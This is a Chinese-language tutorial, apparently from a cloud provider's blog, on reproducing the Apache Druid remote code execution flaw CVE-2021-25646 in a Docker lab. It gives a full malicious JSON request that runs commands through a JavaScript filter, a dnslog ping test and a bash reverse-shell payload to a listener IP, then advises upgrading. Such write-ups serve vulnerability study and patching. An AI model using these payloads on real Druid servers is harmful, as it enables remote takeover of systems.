温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

发布时间:2021-12-29 17:52:18 来源:亿速云 阅读:155 作者:柒染 栏目:安全技术

本篇文章给大家分享的是有关如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

0x00简介

Druid 是一个分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理,也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。 另外,Druid 还有一个关键的特点:它支持根据时间戳对数据进行预聚合摄入和聚合分析,因此也有用户经常在有时序数据处理分析的场景中用到它。

0x01漏洞概述

在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器

0x02影响版本

Apache Druid < 0.20.1

0x03环境搭建

1、本次环境使用docker搭建,需要在虚拟机安装docker,安装完成后使用以下命令pull漏洞环境

docker pull fokkodriesprong/docker-druid

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

2、下载漏洞环境后使用以下命令启动漏洞环境

docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

3、启动后在浏览器访问http://your-ip:8888/看到以下界面表示成功

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

0x04漏洞复现

1、在浏览器进入Apache Druid首页如何点击点击左上方Load data -> Local disk按钮

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

2、右侧表单填入Base directory:(quickstart/tutorial/)File filter:

(wikiticker-2015-09-12-sampled.json.gz)填入完成点击Preview,然后点击next

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

3、打开burp并配置代理,然后一直点击next,直到下一步是Next:Filter时,抓取数据包

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

4、然后替换数据包中的data数据为以下代码,然后修改代码中的dnslog地址为自己的,点击发送,查看dnslog是否有数据

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",

"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping kujqmk.dnslog.cn -c 1')}",

"dimension":"added",

"":{

"enabled":"true"

}

}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

5、修改dnslog地址为反弹shell的payload,在kali中设置监听,可以看到成功反弹shell

exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.16.1.132/8896 0>&1')

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

0x05修复建议

1、升级到最新版Apache Druid,下载地址为

https://druid.apache.org/downloads.html

以上就是如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI